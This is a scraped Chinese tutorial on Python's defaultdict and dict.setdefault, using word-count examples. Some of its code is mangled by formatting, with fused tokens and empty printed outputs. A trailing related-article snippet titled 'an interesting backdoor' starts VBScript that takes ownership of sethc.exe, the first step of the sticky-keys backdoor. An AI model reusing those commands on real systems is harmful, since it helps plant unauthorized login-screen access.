Python有意思的defaultdict方法

2021-08-18 13:15:22 字數 1389 閱讀 2471

defaultdict主要解決在建立的dict為空時的賦值問題。

(1)dict.setdefault()方法

當不用defaultdict方法時,可用dict.setdefault()方法替代

下面使用參考資料中的例子舉例。例子是用來統計陣列中每個詞出現的次數。setdefault(kw,0)方法可在dict中沒有kw這個key的時候,將這個key的value設定為0,並且當dict中存在kw時,則返回其對應的value。

strings =(

'puppy'

,'kitten'

,'puppy'

,'puppy'

,'weasel'

,'puppy'

,'kitten'

,'puppy'

)counts ={}

forkw

instrings

:counts[kw

]=counts

.setdefault(kw

,0)+

1

(2)defaultdict方法

defaultdict()方法可以接受乙個型別作為引數,比如int, list等,也可以接受乙個不帶引數的函式作為引數。

舉例1:以int作為引數,統計單詞出現次數

from collections import defaultdict

strings = ('puppy'

, 'kitten'

, 'puppy'

, 'puppy'

,'weasel'

, 'puppy'

, 'kitten'

, 'puppy')

counts = defaultdict(int)

for s in strings:

counts[s] += 1

print(counts) # 輸出是defaultdict(, )

舉例2:以乙個無引數函式作為引數,同樣是統計單詞出現的次數

from collections import defaultdict

strings = ('puppy'

, 'kitten'

, 'puppy'

, 'puppy'

,'weasel'

, 'puppy'

, 'kitten'

, 'puppy')

def

zero():

return

0counts = defaultdict(zero) # zero是函式名

for s in strings:

counts[s] += 1

print(counts) # 輸出是defaultdict(, )

有意思的Python例子

第一題a 1 a a 1 print a 請問當前的輸出結果是多少 正確答案是 2 為什麼那?首先拆分 a 1 的結果為 true 現在變成了 a true 在python中 true 轉變為int 型別就是1 所以變成了a 1 結果自然是2嘍 雖然題目問的簡單,但是還是很考驗基本功的 第二題 pr...

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...